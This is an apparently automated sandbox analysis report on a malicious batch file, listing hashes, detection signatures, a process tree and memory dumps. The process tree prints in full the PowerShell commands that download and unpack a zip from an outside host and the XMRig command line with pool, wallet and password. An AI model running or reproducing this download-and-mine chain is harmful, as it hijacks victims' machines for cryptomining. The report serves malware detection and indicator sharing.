Analysis

  • max time kernel
    1797s
  • max time network
    1794s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/10/2023, 12:03

General

  • Target

    tesy - Copy (14).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3244
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3304
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1528

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          c20ac38ae3022e305b8752804aadf486

          SHA1

          4c144d6cfafb5c37ab4810ff3c1744df81493cdb

          SHA256

          03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

          SHA512

          c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oggkpthe.hvp.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\test1.zip

          Filesize

          3.2MB

          MD5

          95452958f42b1b93f0c887f59d84d19f

          SHA1

          c861dc457d57471ab42879f49cc8fe171e7c9b1c

          SHA256

          dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

          SHA512

          96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          278B

          MD5

          080123b6eac4a332d3f2b11f6eb3aa54

          SHA1

          8f3d40eae881e3b871cff2aa85521d727ada2a64

          SHA256

          cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

          SHA512

          0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          4813fa6d610e180b097eae0ce636d2aa

          SHA1

          1e9cd17ea32af1337dd9a664431c809dd8a64d76

          SHA256

          9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

          SHA512

          5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

        • memory/1528-71-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-76-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-113-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-112-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-111-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-110-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-109-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-108-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-107-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-106-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-105-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-104-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-46-0x000001D25EEC0000-0x000001D25EF00000-memory.dmp

          Filesize

          256KB

        • memory/1528-47-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-48-0x000001D25EF00000-0x000001D25EF20000-memory.dmp

          Filesize

          128KB

        • memory/1528-49-0x000001D25EF20000-0x000001D25EF40000-memory.dmp

          Filesize

          128KB

        • memory/1528-50-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-51-0x000001D25EF00000-0x000001D25EF20000-memory.dmp

          Filesize

          128KB

        • memory/1528-74-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-53-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-54-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-55-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-56-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-57-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-58-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-59-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-60-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-61-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-62-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-63-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-64-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-65-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-66-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-67-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-68-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-69-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-70-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-45-0x000001D25D6C0000-0x000001D25D6E0000-memory.dmp

          Filesize

          128KB

        • memory/1528-72-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-73-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-52-0x000001D25EF20000-0x000001D25EF40000-memory.dmp

          Filesize

          128KB

        • memory/1528-103-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-92-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-77-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-78-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-79-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-80-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-81-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-82-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-83-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-84-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-85-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-86-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-87-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-88-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-89-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-90-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-91-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-75-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-93-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-94-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-95-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-96-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-97-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-98-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-99-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-100-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-101-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/1528-102-0x00007FF610C30000-0x00007FF611733000-memory.dmp

          Filesize

          11.0MB

        • memory/2924-10-0x00007FFBA5CA0000-0x00007FFBA6761000-memory.dmp

          Filesize

          10.8MB

        • memory/2924-5-0x00000228DC830000-0x00000228DC852000-memory.dmp

          Filesize

          136KB

        • memory/2924-11-0x00000228DBF40000-0x00000228DBF50000-memory.dmp

          Filesize

          64KB

        • memory/2924-12-0x00000228DBF40000-0x00000228DBF50000-memory.dmp

          Filesize

          64KB

        • memory/2924-13-0x00000228DBF40000-0x00000228DBF50000-memory.dmp

          Filesize

          64KB

        • memory/2924-16-0x00007FFBA5CA0000-0x00007FFBA6761000-memory.dmp

          Filesize

          10.8MB

        • memory/3244-30-0x0000025EE4630000-0x0000025EE4640000-memory.dmp

          Filesize

          64KB

        • memory/3244-32-0x0000025EE45E0000-0x0000025EE45EA000-memory.dmp

          Filesize

          40KB

        • memory/3244-19-0x0000025EE4630000-0x0000025EE4640000-memory.dmp

          Filesize

          64KB

        • memory/3244-18-0x0000025EE4630000-0x0000025EE4640000-memory.dmp

          Filesize

          64KB

        • memory/3244-31-0x0000025EE5330000-0x0000025EE5342000-memory.dmp

          Filesize

          72KB

        • memory/3244-17-0x00007FFBA5CA0000-0x00007FFBA6761000-memory.dmp

          Filesize

          10.8MB

        • memory/3244-41-0x00007FFBA5CA0000-0x00007FFBA6761000-memory.dmp

          Filesize

          10.8MB